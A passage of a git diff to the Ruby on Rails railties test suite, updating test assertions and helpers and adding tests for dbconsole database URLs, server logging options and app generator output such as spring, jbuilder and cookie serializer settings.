       assert_no_match(/Errors running/, output)
     end
 
     def test_scaffold_with_references_columns_tests_pass_by_default
       output = Dir.chdir(app_path) do
         `rails generate scaffold LineItems product:references cart:belongs_to;
-         bundle exec rake db:migrate db:test:clone test`
+         bundle exec rake db:migrate test`
       end
 
-      assert_match(/7 tests, 13 assertions, 0 failures, 0 errors/, output)
+      assert_match(/7 runs, 13 assertions, 0 failures, 0 errors/, output)
       assert_no_match(/Errors running/, output)
     end
 
@@ -234,7 +208,8 @@ module ApplicationTests
       add_to_config "config.active_record.schema_format = :sql"
       output = Dir.chdir(app_path) do
         `rails generate scaffold user username:string;
-         bundle exec rake db:migrate db:test:clone 2>&1 --trace`
+         bundle exec rake db:migrate;
+         bundle exec rake db:test:clone 2>&1 --trace`
       end
       assert_match(/Execute db:test:clone_structure/, output)
     end
@@ -243,7 +218,8 @@ module ApplicationTests
       add_to_config "config.active_record.schema_format = :sql"
       output = Dir.chdir(app_path) do
         `rails generate scaffold user username:string;
-         bundle exec rake db:migrate db:test:prepare 2>&1 --trace`
+         bundle exec rake db:migrate;
+         bundle exec rake db:test:prepare 2>&1 --trace`
       end
       assert_match(/Execute db:test:load_structure/, output)
     end
@@ -253,7 +229,7 @@ module ApplicationTests
         # ensure we have a schema_migrations table to dump
         `bundle exec rake db:migrate db:structure:dump DB_STRUCTURE=db/my_structure.sql`
       end
-      assert File.exists?(File.join(app_path, 'db', 'my_structure.sql'))
+      assert File.exist?(File.join(app_path, 'db', 'my_structure.sql'))
     end
 
     def test_rake_dump_structure_should_be_called_twice_when_migrate_redo
@@ -274,24 +250,24 @@ module ApplicationTests
          rails generate model product name:string;
          bundle exec rake db:migrate db:schema:cache:dump`
       end
-      assert File.exists?(File.join(app_path, 'db', 'schema_cache.dump'))
+      assert File.exist?(File.join(app_path, 'db', 'schema_cache.dump'))
     end
 
     def test_rake_clear_schema_cache
       Dir.chdir(app_path) do
         `bundle exec rake db:schema:cache:dump db:schema:cache:clear`
       end
-      assert !File.exists?(File.join(app_path, 'db', 'schema_cache.dump'))
+      assert !File.exist?(File.join(app_path, 'db', 'schema_cache.dump'))
     end
 
     def test_copy_templates
       Dir.chdir(app_path) do
         `bundle exec rake rails:templates:copy`
         %w(controller mailer scaffold).each do |dir|
-          assert File.exists?(File.join(app_path, 'lib', 'templates', 'erb', dir))
+          assert File.exist?(File.join(app_path, 'lib', 'templates', 'erb', dir))
         end
         %w(controller helper scaffold_controller assets).each do |dir|
-          assert File.exists?(File.join(app_path, 'lib', 'templates', 'rails', dir))
+          assert File.exist?(File.join(app_path, 'lib', 'templates', 'rails', dir))
         end
       end
     end
diff --git a/railties/test/application/rendering_test.rb b/railties/test/application/rendering_test.rb
index 588d64d..b01febd 100644
--- a/railties/test/application/rendering_test.rb
+++ b/railties/test/application/rendering_test.rb
@@ -17,7 +17,7 @@ module ApplicationTests
 
     test "Unknown format falls back to HTML template" do
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get 'pages/:id', to: 'pages#show'
         end
       RUBY
diff --git a/railties/test/application/routing_test.rb b/railties/test/application/routing_test.rb
index 0f8d673..8576a2b 100644
--- a/railties/test/application/routing_test.rb
+++ b/railties/test/application/routing_test.rb
@@ -48,7 +48,7 @@ module ApplicationTests
       RUBY
 
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           root to: "foo#index"
         end
       RUBY
@@ -100,7 +100,7 @@ module ApplicationTests
       RUBY
 
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get ':controller(/:action)'
         end
       RUBY
@@ -111,7 +111,7 @@ module ApplicationTests
 
     test "mount rack app" do
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           mount lambda { |env| [200, {}, [env["PATH_INFO"]]] }, at: "/blog"
           # The line below is required because mount sometimes
           # fails when a resource route is added.
@@ -141,7 +141,7 @@ module ApplicationTests
       RUBY
 
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get ':controller(/:action)'
         end
       RUBY
@@ -173,7 +173,7 @@ module ApplicationTests
       RUBY
 
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get 'admin/foo', to: 'admin/foo#index'
           get 'foo', to: 'foo#index'
         end
@@ -188,7 +188,7 @@ module ApplicationTests
 
     test "routes appending blocks" do
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get ':controller/:action'
         end
       RUBY
@@ -205,7 +205,7 @@ module ApplicationTests
       assert_equal 'WIN', last_response.body
 
       app_file 'config/routes.rb', <<-R
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get 'lol' => 'hello#index'
         end
       R
@@ -229,7 +229,7 @@ module ApplicationTests
         RUBY
 
         app_file 'config/routes.rb', <<-RUBY
-          AppTemplate::Application.routes.draw do
+          Rails.application.routes.draw do
             get 'foo', to: 'foo#bar'
           end
         RUBY
@@ -240,7 +240,7 @@ module ApplicationTests
         assert_equal 'bar', last_response.body
 
         app_file 'config/routes.rb', <<-RUBY
-          AppTemplate::Application.routes.draw do
+          Rails.application.routes.draw do
             get 'foo', to: 'foo#baz'
           end
         RUBY
@@ -261,7 +261,7 @@ module ApplicationTests
       end
 
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get 'foo', to: ::InitializeRackApp
         end
       RUBY
@@ -289,7 +289,7 @@ module ApplicationTests
       RUBY
 
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get 'foo', :to => 'foo#index'
           root :to => 'foo#index'
         end
@@ -321,7 +321,7 @@ module ApplicationTests
       RUBY
 
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get 'foo', to: 'foo#index'
         end
       RUBY
@@ -337,7 +337,7 @@ module ApplicationTests
       end
 
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get 'foo', to: 'foo#index'
           get 'bar', to: 'bar#index'
         end
@@ -354,7 +354,7 @@ module ApplicationTests
       assert_equal '/bar', Rails.application.routes.url_helpers.bar_path
 
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           get 'foo', to: 'foo#index'
         end
       RUBY
@@ -425,7 +425,7 @@ module ApplicationTests
       RUBY
 
       app_file 'config/routes.rb', <<-RUBY
-        AppTemplate::Application.routes.draw do
+        Rails.application.routes.draw do
           resources :yazilar
         end
       RUBY
diff --git a/railties/test/application/test_runner_test.rb b/railties/test/application/test_runner_test.rb
index 1cf53aa..118f229 100644
--- a/railties/test/application/test_runner_test.rb
+++ b/railties/test/application/test_runner_test.rb
@@ -32,13 +32,13 @@ module ApplicationTests
     def test_run_single_file
       create_test_file :models, 'foo'
       create_test_file :models, 'bar'
-      assert_match "1 tests, 1 assertions, 0 failures", run_test_command("test/models/foo_test.rb")
+      assert_match "1 runs, 1 assertions, 0 failures", run_test_command("test/models/foo_test.rb")
     end
 
     def test_run_multiple_files
       create_test_file :models,  'foo'
       create_test_file :models,  'bar'
-      assert_match "2 tests, 2 assertions, 0 failures", run_test_command("test/models/foo_test.rb test/models/bar_test.rb")
+      assert_match "2 runs, 2 assertions, 0 failures", run_test_command("test/models/foo_test.rb test/models/bar_test.rb")
     end
 
     def test_run_file_with_syntax_error
@@ -59,7 +59,7 @@ module ApplicationTests
       run_test_models_command.tap do |output|
         assert_match "FooTest", output
         assert_match "BarTest", output
-        assert_match "2 tests, 2 assertions, 0 failures", output
+        assert_match "2 runs, 2 assertions, 0 failures", output
       end
     end
 
@@ -70,7 +70,7 @@ module ApplicationTests
       run_test_helpers_command.tap do |output|
         assert_match "FooHelperTest", output
         assert_match "BarHelperTest", output
-        assert_match "2 tests, 2 assertions, 0 failures", output
+        assert_match "2 runs, 2 assertions, 0 failures", output
       end
     end
 
@@ -83,7 +83,7 @@ module ApplicationTests
         assert_match "FooTest", output
         assert_match "BarHelperTest", output
         assert_match "BazUnitTest", output
-        assert_match "3 tests, 3 assertions, 0 failures", output
+        assert_match "3 runs, 3 assertions, 0 failures", output
       end
     end
 
@@ -94,7 +94,7 @@ module ApplicationTests
       run_test_controllers_command.tap do |output|
         assert_match "FooControllerTest", output
         assert_match "BarControllerTest", output
-        assert_match "2 tests, 2 assertions, 0 failures", output
+        assert_match "2 runs, 2 assertions, 0 failures", output
       end
     end
 
@@ -105,7 +105,7 @@ module ApplicationTests
       run_test_mailers_command.tap do |output|
         assert_match "FooMailerTest", output
         assert_match "BarMailerTest", output
-        assert_match "2 tests, 2 assertions, 0 failures", output
+        assert_match "2 runs, 2 assertions, 0 failures", output
       end
     end
 
@@ -118,7 +118,7 @@ module ApplicationTests
         assert_match "FooMailerTest", output
         assert_match "BarControllerTest", output
         assert_match "BazFunctionalTest", output
-        assert_match "3 tests, 3 assertions, 0 failures", output
+        assert_match "3 runs, 3 assertions, 0 failures", output
       end
     end
 
@@ -127,7 +127,7 @@ module ApplicationTests
       create_test_file :models, 'foo'
       run_test_integration_command.tap do |output|
         assert_match "FooIntegration", output
-        assert_match "1 tests, 1 assertions, 0 failures", output
+        assert_match "1 runs, 1 assertions, 0 failures", output
       end
     end
 
@@ -136,7 +136,7 @@ module ApplicationTests
       suites.each { |suite| create_test_file suite, "foo_#{suite}" }
       run_test_command('') .tap do |output|
         suites.each { |suite| assert_match "Foo#{suite.to_s.camelize}Test", output }
-        assert_match "7 tests, 7 assertions, 0 failures", output
+        assert_match "7 runs, 7 assertions, 0 failures", output
       end
     end
 
diff --git a/railties/test/application/test_test.rb b/railties/test/application/test_test.rb
index c7ad2fb..a223180 100644
--- a/railties/test/application/test_test.rb
+++ b/railties/test/application/test_test.rb
@@ -24,7 +24,7 @@ module ApplicationTests
         end
       RUBY
 
-      run_test_file 'unit/foo_test.rb'
+      assert_successful_test_run 'unit/foo_test.rb'
     end
 
     test "integration test" do
@@ -49,19 +49,93 @@ module ApplicationTests
         end
       RUBY
 
-      run_test_file 'integration/posts_test.rb'
+      assert_successful_test_run 'integration/posts_test.rb'
+    end
+
+    test "enable full backtraces on test failures" do
+      app_file 'test/unit/failing_test.rb', <<-RUBY
+        require 'test_helper'
+
+        class FailingTest < ActiveSupport::TestCase
+          def test_failure
+            raise "fail"
+          end
+        end
+      RUBY
+
+      output = run_test_file('unit/failing_test.rb', env: { "BACKTRACE" => "1" })
+      assert_match %r{/app/test/unit/failing_test\.rb}, output
+    end
+
+    test "migrations" do
+      output  = script('generate model user name:string')
+      version = output.match(/(\d+)_create_users\.rb/)[1]
+
+      app_file 'test/models/user_test.rb', <<-RUBY
+        require 'test_helper'
+
+        class UserTest < ActiveSupport::TestCase
+          test "user" do
+            User.create! name: "Jon"
+          end
+        end
+      RUBY
+      app_file 'db/schema.rb', ''
+
+      assert_unsuccessful_run "models/user_test.rb", "Migrations are pending"
+
+      app_file 'db/schema.rb', <<-RUBY
+        ActiveRecord::Schema.define(version: #{version}) do
+          create_table :users do |t|
+            t.string :name
+          end
+        end
+      RUBY
+
+      app_file 'config/initializers/disable_maintain_test_schema.rb', <<-RUBY
+        Rails.application.config.active_record.maintain_test_schema = false
+      RUBY
+
+      assert_unsuccessful_run "models/user_test.rb", "Could not find table 'users'"
+
+      File.delete "#{app_path}/config/initializers/disable_maintain_test_schema.rb"
+
+      result = assert_successful_test_run('models/user_test.rb')
+      assert !result.include?("create_table(:users)")
     end
 
     private
-      def run_test_file(name)
-        result = ruby '-Itest', "#{app_path}/test/#{name}"
+      def assert_unsuccessful_run(name, message)
+        result = run_test_file(name)
+        assert_not_equal 0, $?.to_i
+        assert result.include?(message)
+        result
+      end
+
+      def assert_successful_test_run(name)
+        result = run_test_file(name)
         assert_equal 0, $?.to_i, result
+        result
+      end
+
+      def run_test_file(name, options = {})
+        ruby '-Itest', "#{app_path}/test/#{name}", options
       end
 
       def ruby(*args)
+        options = args.extract_options!
+        env = options.fetch(:env, {})
+        env["RUBYLIB"] = $:.join(':')
+
         Dir.chdir(app_path) do
-          `RUBYLIB='#{$:.join(':')}' #{Gem.ruby} #{args.join(' ')}`
+          `#{env_string(env)} #{Gem.ruby} #{args.join(' ')} 2>&1`
         end
       end
+
+      def env_string(variables)
+        variables.map do |key, value|
+          "#{key}='#{value}'"
+        end.join " "
+      end
   end
 end
diff --git a/railties/test/application/url_generation_test.rb b/railties/test/application/url_generation_test.rb
index 0905757..efbc853 100644
--- a/railties/test/application/url_generation_test.rb
+++ b/railties/test/application/url_generation_test.rb
@@ -12,6 +12,7 @@ module ApplicationTests
       boot_rails
       require "rails"
       require "action_controller/railtie"
+      require "action_view/railtie"
 
       class MyApp < Rails::Application
         config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
@@ -20,7 +21,7 @@ module ApplicationTests
         config.eager_load = false
       end
 
-      MyApp.initialize!
+      Rails.application.initialize!
 
       class ::ApplicationController < ActionController::Base
       end
diff --git a/railties/test/commands/dbconsole_test.rb b/railties/test/commands/dbconsole_test.rb
index edb92b3..24db395 100644
--- a/railties/test/commands/dbconsole_test.rb
+++ b/railties/test/commands/dbconsole_test.rb
@@ -2,29 +2,74 @@ require 'abstract_unit'
 require 'rails/commands/dbconsole'
 
 class Rails::DBConsoleTest < ActiveSupport::TestCase
-  def teardown
-    %w[PGUSER PGHOST PGPORT PGPASSWORD].each{|key| ENV.delete(key)}
-  end
 
-  def test_config
-    Rails::DBConsole.const_set(:APP_PATH, "erb")
-
-    app_config({})
-    capture_abort { Rails::DBConsole.new.config }
-    assert aborted
-    assert_match(/No database is configured for the environment '\w+'/, output)
 
-    app_config(test: "with_init")
-    assert_equal Rails::DBConsole.new.config, "with_init"
-
-    app_db_file("test:\n  without_init")
-    assert_equal Rails::DBConsole.new.config, "without_init"
-
-    app_db_file("test:\n  <%= Rails.something_app_specific %>")
-    assert_equal Rails::DBConsole.new.config, "with_init"
+  def setup
+    Rails::DBConsole.const_set('APP_PATH', 'rails/all')
+  end
 
-    app_db_file("test:\n\ninvalid")
-    assert_equal Rails::DBConsole.new.config, "with_init"
+  def teardown
+    Rails::DBConsole.send(:remove_const, 'APP_PATH')
+    %w[PGUSER PGHOST PGPORT PGPASSWORD DATABASE_URL].each{|key| ENV.delete(key)}
+  end
+
+  def test_config_with_db_config_only
+    config_sample = {
+      "test"=> {
+        "adapter"=> "sqlite3",
+        "host"=> "localhost",
+        "port"=> "9000",
+        "database"=> "foo_test",
+        "user"=> "foo",
+        "password"=> "bar",
+        "pool"=> "5",
+        "timeout"=> "3000"
+      }
+    }
+    app_db_config(config_sample)
+    assert_equal Rails::DBConsole.new.config, config_sample["test"]
+  end
+
+  def test_config_with_no_db_config
+    app_db_config(nil)
+    assert_raise(ActiveRecord::AdapterNotSpecified) {
+      Rails::DBConsole.new.config
+    }
+  end
+
+  def test_config_with_database_url_only
+    ENV['DATABASE_URL'] = 'postgresql://foo:bar@localhost:9000/foo_test?pool=5&timeout=3000'
+    app_db_config(nil)
+    expected = {
+      "adapter"  => "postgresql",
+      "host"     => "localhost",
+      "port"     => 9000,
+      "database" => "foo_test",
+      "username" => "foo",
+      "password" => "bar",
+      "pool"     => "5",
+      "timeout"  => "3000"
+    }.sort
+    assert_equal expected, Rails::DBConsole.new.config.sort
+  end
+
+  def test_config_choose_database_url_if_exists
+    host = "database-url-host.com"
+    ENV['DATABASE_URL'] = "postgresql://foo:bar@#{host}:9000/foo_test?pool=5&timeout=3000"
+    sample_config = {
+      "test" => {
+        "adapter"  => "postgresql",
+        "host"     => "not-the-#{host}",
+        "port"     => 9000,
+        "database" => "foo_test",
+        "username" => "foo",
+        "password" => "bar",
+        "pool"     => "5",
+        "timeout"  => "3000"
+      }
+    }
+    app_db_config(sample_config)
+    assert_equal host, Rails::DBConsole.new.config["host"]
   end
 
   def test_env
@@ -177,6 +222,10 @@ class Rails::DBConsoleTest < ActiveSupport::TestCase
 
   private
 
+  def app_db_config(results)
+    Rails.application.config.stubs(:database_configuration).returns(results || {})
+  end
+
   def dbconsole
     @dbconsole ||= Rails::DBConsole.new(nil)
   end
@@ -197,11 +246,4 @@ class Rails::DBConsoleTest < ActiveSupport::TestCase
     end
   end
 
-  def app_db_file(result)
-    IO.stubs(:read).with("config/database.yml").returns(result)
-  end
-
-  def app_config(result)
-    Rails.application.config.stubs(:database_configuration).returns(result.stringify_keys)
-  end
 end
diff --git a/railties/test/commands/server_test.rb b/railties/test/commands/server_test.rb
index cb57b3c..ba688f1 100644
--- a/railties/test/commands/server_test.rb
+++ b/railties/test/commands/server_test.rb
@@ -27,16 +27,62 @@ class Rails::ServerTest < ActiveSupport::TestCase
   end
 
   def test_environment_with_rails_env
-    with_rails_env 'production' do
-      server = Rails::Server.new
-      assert_equal 'production', server.options[:environment]
+    with_rack_env nil do
+      with_rails_env 'production' do
+        server = Rails::Server.new
+        assert_equal 'production', server.options[:environment]
+      end
     end
   end
 
   def test_environment_with_rack_env
-    with_rack_env 'production' do
-      server = Rails::Server.new
-      assert_equal 'production', server.options[:environment]
+    with_rails_env nil do
+      with_rack_env 'production' do
+        server = Rails::Server.new
+        assert_equal 'production', server.options[:environment]
+      end
+    end
+  end
+
+  def test_log_stdout
+    with_rack_env nil do
+      with_rails_env nil do
+        args    = []
+        options = Rails::Server::Options.new.parse!(args)
+        assert_equal true, options[:log_stdout]
+
+        args    = ["-e", "development"]
+        options = Rails::Server::Options.new.parse!(args)
+        assert_equal true, options[:log_stdout]
+
+        args    = ["-e", "production"]
+        options = Rails::Server::Options.new.parse!(args)
+        assert_equal false, options[:log_stdout]
+
+        with_rack_env 'development' do
+          args    = []
+          options = Rails::Server::Options.new.parse!(args)
+          assert_equal true, options[:log_stdout]
+        end
+
+        with_rack_env 'production' do
+          args    = []
+          options = Rails::Server::Options.new.parse!(args)
+          assert_equal false, options[:log_stdout]
+        end
+
+        with_rails_env 'development' do
+          args    = []
+          options = Rails::Server::Options.new.parse!(args)
+          assert_equal true, options[:log_stdout]
+        end
+
+        with_rails_env 'production' do
+          args    = []
+          options = Rails::Server::Options.new.parse!(args)
+          assert_equal false, options[:log_stdout]
+        end
+      end
     end
   end
 end
diff --git a/railties/test/configuration/middleware_stack_proxy_test.rb b/railties/test/configuration/middleware_stack_proxy_test.rb
index 2442cb9..6f3e45f 100644
--- a/railties/test/configuration/middleware_stack_proxy_test.rb
+++ b/railties/test/configuration/middleware_stack_proxy_test.rb
@@ -39,7 +39,7 @@ module Rails
         @stack.swap :foo
         @stack.delete :foo
 
-        mock = MiniTest::Mock.new
+        mock = Minitest::Mock.new
         mock.expect :send, nil, [:swap, :foo]
         mock.expect :send, nil, [:delete, :foo]
 
@@ -50,7 +50,7 @@ module Rails
       private
 
       def assert_playback(msg_name, args)
-        mock = MiniTest::Mock.new
+        mock = Minitest::Mock.new
         mock.expect :send, nil, [msg_name, args]
         @stack.merge_into(mock)
         mock.verify
diff --git a/railties/test/env_helpers.rb b/railties/test/env_helpers.rb
index 6223c85..330fe15 100644
--- a/railties/test/env_helpers.rb
+++ b/railties/test/env_helpers.rb
@@ -1,7 +1,10 @@
+require 'rails'
+
 module EnvHelpers
   private
 
   def with_rails_env(env)
+    Rails.instance_variable_set :@_env, nil
     switch_env 'RAILS_ENV', env do
       switch_env 'RACK_ENV', nil do
         yield
@@ -10,6 +13,7 @@ module EnvHelpers
   end
 
   def with_rack_env(env)
+    Rails.instance_variable_set :@_env, nil
     switch_env 'RACK_ENV', env do
       switch_env 'RAILS_ENV', nil do
         yield
diff --git a/railties/test/generators/actions_test.rb b/railties/test/generators/actions_test.rb
index f8fa8ee..0db40c1 100644
--- a/railties/test/generators/actions_test.rb
+++ b/railties/test/generators/actions_test.rb
@@ -103,7 +103,7 @@ class ActionsTest < Rails::Generators::TestCase
     run_generator
     autoload_paths = 'config.autoload_paths += %w["#{Rails.root}/app/extras"]'
     action :environment, autoload_paths, env: 'development'
-    assert_file "config/environments/development.rb", /Application\.configure do\n  #{Regexp.escape(autoload_paths)}/
+    assert_file "config/environments/development.rb", /Rails\.application\.configure do\n  #{Regexp.escape(autoload_paths)}/
   end
 
   def test_environment_with_block_should_include_block_contents_in_environment_initializer_block
diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb
index 6c48869..1f01577 100644
--- a/railties/test/generators/app_generator_test.rb
+++ b/railties/test/generators/app_generator_test.rb
@@ -4,6 +4,7 @@ require 'generators/shared_generator_tests'
 
 DEFAULT_APP_FILES = %w(
   .gitignore
+  README.rdoc
   Gemfile
   Rakefile
   config.ru
@@ -28,6 +29,7 @@ DEFAULT_APP_FILES = %w(
   lib/tasks
   lib/assets
   log
+  test/test_helper.rb
   test/fixtures
   test/controllers
   test/models
@@ -36,6 +38,8 @@ DEFAULT_APP_FILES = %w(
   test/integration
   vendor
   vendor/assets
+  vendor/assets/stylesheets
+  vendor/assets/javascripts
   tmp/cache
   tmp/cache/assets
 )
@@ -54,9 +58,10 @@ class AppGeneratorTest < Rails::Generators::TestCase
   def test_assets
     run_generator
 
-    assert_file("app/views/layouts/application.html.erb", /stylesheet_link_tag\s+"application", media: "all", "data-turbolinks-track" => true/)
-    assert_file("app/views/layouts/application.html.erb", /javascript_include_tag\s+"application", "data-turbolinks-track" => true/)
+    assert_file("app/views/layouts/application.html.erb", /stylesheet_link_tag\s+'application', media: 'all', 'data-turbolinks-track' => true/)
+    assert_file("app/views/layouts/application.html.erb", /javascript_include_tag\s+'application', 'data-turbolinks-track' => true/)
     assert_file("app/assets/stylesheets/application.css")
+    assert_file("app/assets/javascripts/application.js")
   end
 
   def test_invalid_application_name_raises_an_error
@@ -66,7 +71,7 @@ class AppGeneratorTest < Rails::Generators::TestCase
 
   def test_invalid_application_name_is_fixed
     run_generator [File.join(destination_root, "things-43")]
-    assert_file "things-43/config/environment.rb", /Things43::Application\.initialize!/
+    assert_file "things-43/config/environment.rb", /Rails\.application\.initialize!/
     assert_file "things-43/config/application.rb", /^module Things43$/
   end
 
@@ -108,11 +113,14 @@ class AppGeneratorTest < Rails::Generators::TestCase
 
     FileUtils.mv(app_root, app_moved_root)
 
+    # make sure we are in correct dir
+    FileUtils.cd(app_moved_root)
+
     generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true },
                                                                destination_root: app_moved_root, shell: @shell
     generator.send(:app_const)
     quietly { generator.send(:create_config_files) }
-    assert_file "myapp_moved/config/environment.rb", /Myapp::Application\.initialize!/
+    assert_file "myapp_moved/config/environment.rb", /Rails\.application\.initialize!/
     assert_file "myapp_moved/config/initializers/session_store.rb", /_myapp_session/
   end
 
@@ -130,9 +138,45 @@ class AppGeneratorTest < Rails::Generators::TestCase
     assert_file "myapp/config/initializers/session_store.rb", /_myapp_session/
   end
 
+  def test_new_application_use_json_serialzier
+    run_generator
+
+    assert_file("config/initializers/cookies_serializer.rb", /Rails\.application\.config\.action_dispatch\.cookies_serializer = :json/)
+  end
+
+  def test_rails_update_keep_the_cookie_serializer_if_it_is_already_configured
+    app_root = File.join(destination_root, 'myapp')
+    run_generator [app_root]
+
+    Rails.application.config.root = app_root
+    Rails.application.class.stubs(:name).returns("Myapp")
+    Rails.application.stubs(:is_a?).returns(Rails::Application)
+
+    generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, destination_root: app_root, shell: @shell
+    generator.send(:app_const)
+    quietly { generator.send(:update_config_files) }
+    assert_file("#{app_root}/config/initializers/cookies_serializer.rb", /Rails\.application\.config\.action_dispatch\.cookies_serializer = :json/)
+  end
+
+  def test_rails_update_set_the_cookie_serializer_to_marchal_if_it_is_not_already_configured
+    app_root = File.join(destination_root, 'myapp')
+    run_generator [app_root]
+
+    FileUtils.rm("#{app_root}/config/initializers/cookies_serializer.rb")
+
+    Rails.application.config.root = app_root
+    Rails.application.class.stubs(:name).returns("Myapp")
+    Rails.application.stubs(:is_a?).returns(Rails::Application)
+
+    generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, destination_root: app_root, shell: @shell
+    generator.send(:app_const)
+    quietly { generator.send(:update_config_files) }
+    assert_file("#{app_root}/config/initializers/cookies_serializer.rb", /Rails\.application\.config\.action_dispatch\.cookies_serializer = :marshal/)
+  end
+
   def test_application_names_are_not_singularized
     run_generator [File.join(destination_root, "hats")]
-    assert_file "hats/config/environment.rb", /Hats::Application\.initialize!/
+    assert_file "hats/config/environment.rb", /Rails\.application\.initialize!/
   end
 
   def test_gemfile_has_no_whitespace_errors
@@ -222,11 +266,16 @@ class AppGeneratorTest < Rails::Generators::TestCase
     end
   end
 
+  def test_generator_if_skip_action_view_is_given
+    run_generator [destination_root, "--skip-action-view"]
+    assert_file "config/application.rb", /#\s+require\s+["']action_view\/railtie["']/
+  end
+
   def test_generator_if_skip_sprockets_is_given
     run_generator [destination_root, "--skip-sprockets"]
+    assert_no_file "config/initializers/assets.rb"
     assert_file "config/application.rb" do |content|
       assert_match(/#\s+require\s+["']sprockets\/railtie["']/, content)
-      assert_match(/config\.assets\.enabled = false/, content)
     end
     assert_file "Gemfile" do |content|
       assert_no_match(/sass-rails/, content)
@@ -240,7 +289,6 @@ class AppGeneratorTest < Rails::Generators::TestCase
       assert_no_match(/config\.assets\.digest = true/, content)
       assert_no_match(/config\.assets\.js_compressor = :uglifier/, content)
       assert_no_match(/config\.assets\.css_compressor = :sass/, content)
-      assert_no_match(/config\.assets\.version = '1\.0'/, content)
     end
   end
 
@@ -249,37 +297,17 @@ class AppGeneratorTest < Rails::Generators::TestCase
     if defined?(JRUBY_VERSION)
       assert_gem "therubyrhino"
     else
-      assert_file "Gemfile", /# gem\s+["']therubyracer["']+, platforms: :ruby$/
+      assert_file "Gemfile", /# gem\s+["']therubyracer["']+, \s+platforms: :ruby$/
     end
   end
 
-  def test_creation_of_a_test_directory
-    run_generator
-    assert_file 'test'
-  end
-
-  def test_creation_of_app_assets_images_directory
-    run_generator
-    assert_file "app/assets/images"
-  end
-
-  def test_creation_of_vendor_assets_javascripts_directory
-    run_generator
-    assert_file "vendor/assets/javascripts"
-  end
-
-  def test_creation_of_vendor_assets_stylesheets_directory
-    run_generator
-    assert_file "vendor/assets/stylesheets"
-  end
-
   def test_jquery_is_the_default_javascript_library
     run_generator
     assert_file "app/assets/javascripts/application.js" do |contents|
       assert_match %r{^//= require jquery}, contents
       assert_match %r{^//= require jquery_ujs}, contents
     end
-    assert_file "Gemfile", /^gem 'jquery-rails'/
+    assert_gem "jquery-rails"
   end
 
   def test_other_javascript_libraries
@@ -293,26 +321,40 @@ class AppGeneratorTest < Rails::Generators::TestCase
 
   def test_javascript_is_skipped_if_required
     run_generator [destination_root, "--skip-javascript"]
-    assert_file "app/assets/javascripts/application.js" do |contents|
-      assert_no_match %r{^//=\s+require\s}, contents
-    end
+
+    assert_no_file "app/assets/javascripts"
+    assert_no_file "vendor/assets/javascripts"
+
     assert_file "app/views/layouts/application.html.erb" do |contents|
-      assert_match(/stylesheet_link_tag\s+"application", media: "all" %>/, contents)
-      assert_match(/javascript_include_tag\s+"application" \%>/, contents)
+      assert_match(/stylesheet_link_tag\s+'application', media: 'all' %>/, contents)
+      assert_no_match(/javascript_include_tag\s+'application' \%>/, contents)
     end
+
     assert_file "Gemfile" do |content|
-      assert_match(/coffee-rails/, content)
+      assert_no_match(/coffee-rails/, content)
+      assert_no_match(/jquery-rails/, content)
     end
   end
 
+  def test_inclusion_of_jbuilder
+    run_generator
+    assert_file "Gemfile", /gem 'jbuilder'/
+  end
+
   def test_inclusion_of_debugger
     run_generator
-    assert_file "Gemfile", /# gem 'debugger'/
+    if defined?(JRUBY_VERSION)
+      assert_file "Gemfile" do |content|
+        assert_no_match(/debugger/, content)
+      end
+    else
+      assert_file "Gemfile", /# gem 'debugger'/
+    end
   end
 
-  def test_inclusion_of_lazy_loaded_sdoc
+  def test_inclusion_of_doc
     run_generator
-    assert_file 'Gemfile', /gem 'sdoc', require: false/
+    assert_file 'Gemfile', /gem 'sdoc',\s+'~> 0.4.0',\s+group: :doc/
   end
 
   def test_template_from_dir_pwd
@@ -362,6 +404,46 @@ class AppGeneratorTest < Rails::Generators::TestCase
     assert_no_match(/run  bundle install/, output)
   end
 
+  def test_application_name_with_spaces
+    path = File.join(destination_root, "foo bar".shellescape)
+
+    # This also applies to MySQL apps but not with SQLite
+    run_generator [path, "-d", 'postgresql']
+
+    assert_file "foo bar/config/database.yml", /database: foo_bar_development/
+    assert_file "foo bar/config/initializers/session_store.rb", /key: '_foo_bar/
+  end
+
+  def test_spring
+    run_generator
+    assert_file "Gemfile", /gem 'spring', \s+group: :development/
+  end
+
+  def test_spring_binstubs
+    jruby_skip "spring doesn't run on JRuby"
+    generator.stubs(:bundle_command).with('install')
+    generator.expects(:bundle_command).with('exec spring binstub --all').once
+    quietly { generator.invoke_all }
+  end
+
+  def test_spring_no_fork
+    jruby_skip "spring doesn't run on JRuby"
+    Process.stubs(:respond_to?).with(:fork).returns(false)
+    run_generator
+
+    assert_file "Gemfile" do |content|
+      assert_no_match(/spring/, content)
+    end
+  end
+
+  def test_skip_spring
+    run_generator [destination_root, "--skip-spring"]
+
+    assert_file "Gemfile" do |content|
+      assert_no_match(/spring/, content)
+    end
+  end
+
 protected
 
   def action(*args, &block)
diff --git a/railties/test/generators/argv_scrubber_test.rb b/railties/test/generators/argv_scrubber_test.rb
new file mode 100644
